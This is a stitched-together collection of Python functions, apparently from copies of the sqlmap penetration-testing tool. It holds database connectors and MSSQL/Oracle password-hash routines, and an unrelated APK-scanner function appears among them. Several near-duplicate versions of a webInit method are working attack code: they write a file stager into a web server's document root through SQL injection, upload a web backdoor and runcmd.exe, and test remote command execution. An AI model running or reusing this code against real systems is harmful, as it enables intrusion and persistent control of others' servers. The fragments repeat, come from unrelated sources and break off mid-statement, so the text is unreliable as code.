def connect(self): self.initConnection() self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) self.__dsn = utf8encode(self.__dsn) self.user = utf8encode(self.user) self.password = utf8encode(self.password) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: raise SqlmapConnectionException(msg)
def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (cx_Oracle.DatabaseError), msg: logger.warn("(remote) %s" % msg)
def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except cx_Oracle.DatabaseError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg)
def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.warn("(remote) %s" % str(msg).replace("\n", " "))
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except self.__sqlite.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) except self.__sqlite.DatabaseError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit()
def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except cx_Oracle.DatabaseError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() return retVal
def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) except pymssql.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) return retVal
def connect(self): self.initConnection() self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) self.__dsn = utf8encode(self.__dsn) self.user = utf8encode(self.user) self.password = utf8encode(self.password) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), ex: if "Oracle Client library" in str(ex): msg = re.sub(r"DPI-\d+:\s+", "", str(ex)) msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg) raise SqlmapConnectionException(msg) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: raise SqlmapConnectionException(msg)
def mssql_new_passwd(password, salt, uppercase=False): """ Reference(s): http://hashcat.net/forum/thread-1474.html >>> mssql_new_passwd(password='******', salt='4086ceb6', uppercase=False) '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' """ binsalt = hexdecode(salt) unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def mssql_passwd(password, salt, uppercase=False): """ Reference(s): http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_passwd(password='******', salt='4086ceb6', uppercase=False) '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ binsalt = hexdecode(salt) unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def oracle_passwd(password, salt, uppercase=True): """ Reference(s): https://www.evilfingers.com/tools/GSAuditor.php http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ http://seclists.org/bugtraq/2007/Sep/304 >>> oracle_passwd(password='******', salt='1B7B5F82B7235E9E182C', uppercase=True) 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ binsalt = hexdecode(salt) retVal="s:%s%s" % (sha1(utf8encode(password) + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower()
def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' """ Reference(s): www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_old_passwd(password='******', salt='4086ceb6', uppercase=True) '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ binsalt = hexdecode(salt) unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' """ Reference(s): www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_old_passwd(password='******', salt='4086ceb6', uppercase=True) '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ binsalt = hexdecode(salt) unistr = "".join( map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.warn("(remote) %s" % msg)
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except (cx_Oracle.DatabaseError), msg: logger.warn(msg)
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) if value != cookie: page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = mkstemp() os.fdopen(handle).close() # close low level handle (causing problems later) with open(filename, "w+") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(utf8encode(_)) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0])
def start(): """ controller start """ info_msg = "apkscan got a total of %s target apk file(s)" %len(kb.targets) logger.info(info_msg) for target in kb.targets: try: check_file(target) conf.apk = target except: info_msg = "apk file has some problems!" logger.info ( info_msg ) conf.apk = None #except: #info_msg = "fetch target apkfile from FTP server [%s]" %conf.ftp_host #logger.info(info_msg) #try: #target_file = kb.storage.get(target) #if target_file is not None and os.path.exists(target_file): #conf.apk = target_file #except: #conf.apk = None if not conf.apk: warn_msg = "target apk file is not exists,pass" logger.warn(warn_msg) continue flush_env() send_heartbeat() try: for i in range(3): data = aapt(conf.apk,async=False) if data: break if not data: error_msg = "parse apk failed. maybe is not a apkfile or aapt run error. check system env!" logger.error(error_msg) continue init_apk_info(data) avm = AndroidVersionMap() apk_sdk_version = avm.get_version(kb.apk.sdkVersion) if kb.apk.sdkVersion else '' info_msg ="apk name: %s" %kb.apk.application['label'] info_msg +="\napk version: %s" %kb.apk.package['versionName'] info_msg +="\napk package: %s" %kb.apk.package['name'] info_msg +="\napk icon: %s" %kb.apk.application['icon'] info_msg +="\napk size: %s" %kb.apk.file_size info_msg +="\napk min-sdk-version: %s (%s)" %(kb.apk.sdkVersion, apk_sdk_version) info_msg +="\napk md5 signature: %s" %kb.apk.md5 print utf8encode(info_msg) #print kb.apk['uses-permission'],len(kb.apk['uses-permission']) print "apk permissions:" for perm in kb.apk.display_perm: print '[+]', perm['Title'] send_heartbeat() decoded_files = apktool(conf.apk, conf.nfs_path, async=False) xml_obj = get_xml_obj(decoded_files) kb.apk.manifest = xml_obj kb.apk.providers = get_apk_providers(xml_obj) kb.apk.receivers = get_apk_receivers(xml_obj) kb.apk.services = get_apk_services(xml_obj) kb.apk.activities = get_apk_activities(xml_obj) kb.apk.actions = get_apk_actions(xml_obj) print "APK Content Providers:" for i in kb.apk.providers: print '[+]', i print "APK Broadcast Receivers:" for i in kb.apk.receivers: print '[+]', i print "APK Services:" for i in kb.apk.services: print '[+]', i print "APK Activities:" for i in kb.apk.activities: print '[+]', i if conf.dex2jar: send_heartbeat() info_msg = "start dex2jar decode process" logger.info(info_msg) dex_file = os.path.join(decoded_files,'classes.dex') jar_output_file = os.path.join(decoded_files,'classes_dex2jar.jar') jar_file = dex2jar(dex_file, jar_output_file, flush=False, async=False) kb.apk.jar_file = jar_file if jar_file else None kb.apk.dex_file = dex_file if dex_file else None info_msg = "dex2jar decode process complete" logger.info(info_msg) if conf.jad: send_heartbeat() info_msg = "start jad decode process" logger.info(info_msg) class_output = os.path.join(decoded_files,'class') src_output = os.path.join(decoded_files,'src') for floder in [class_output, src_output]: if not os.path.exists(floder): os.makedirs(floder) jad(jar_file, decoded_files, flush=False, async=False) info_msg = "jad decode process complete" logger.info(info_msg) info_msg = "start run plugins check" logger.info(info_msg) send_heartbeat() start_plugin(decoded_files,conf.apk) info_msg = "plugins check complete" logger.info(info_msg) send_heartbeat() info_msg = "saving result" logger.info(info_msg) save_result(decoded_files) if conf.api_url and conf.tid: info_msg = "store files to server [%s]" %conf.ftp_host logger.info(info_msg) try: icon_file_ext = kb.apk.application['icon'][-4:] icon_file = os.path.join(decoded_files,kb.apk.application['icon']) icon = 'apkicon/%s%s' %(kb.apk.md5,icon_file_ext) kb.storage.put(icon_file, icon) zip_file = os.path.join(paths.OUTPUT_PATH, '%s.zip' %kb.apk.md5) zipdir(decoded_files, zip_file) kb.storage.put(zip_file, '%s.zip' %kb.apk.md5) info_msg = "put zip file '%s' to storage successful" %zip_file logger.info(info_msg) except Exception,e: icon = None err_msg = "put zip file '%s' to storage failed" %zip_file logger.error(err_msg) if conf.api_url and conf.tid: info_msg = "upload result to API server [%s]" %conf.api_url logger.info(info_msg) post_obj = {} post_obj['task_id'] = conf.tid post_obj['result_content'] = [] data = {} data['app_name'] = kb.apk.application['label'] data['app_version'] = kb.apk.package['versionName'] data['package_name'] = kb.apk.package['name'] data['app_icon'] = icon or kb.apk.application['icon'] data['app_risk'] = 1 data['app_md5'] = kb.apk.md5 data['file_size'] = kb.apk.file_size data['min_sdk_version'] = kb.apk.sdkVersion data['target_sdk_version'] = kb.apk.targetsdkVersion data['app_permissions'] = kb.apk['uses-permission'] data['app_content_providers'] = kb.apk.providers data['app_broadcast_receivers'] = kb.apk.receivers data['app_services'] = kb.apk.services data['app_activities'] = kb.apk.activities data['app_vulns'] = result.plugins data['vul_count'] = len(result.plugins) post_obj['result_content'].append(data) _ = upload_result(conf.api_url, conf.tid, 'static_scan' ,post_obj) info_msg = "upload result [%s] successful" %kb.apk.md5 if _ else "upload result [%s] failed" %kb.apk.md5 logger.info(info_msg) except:
def webInit(self): """ 此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。 """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = u"Web服务器支持哪种Web应用程序语言?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("无效值,只允许使用数字") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("无效值,它必须介于1和%d之间" % len(choices)) else: self.webApi = choices[int(choice) - 1] break if not kb.absFilePaths: message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer( r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace( conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage( value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub( r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # 使用LIMIT 0,1 INTO DUMPFILE方法上传文件 infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # 退回到UNION查询文件上传方法 if not uploaded: warnMsg = "无法在'%s'中上传文件" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( 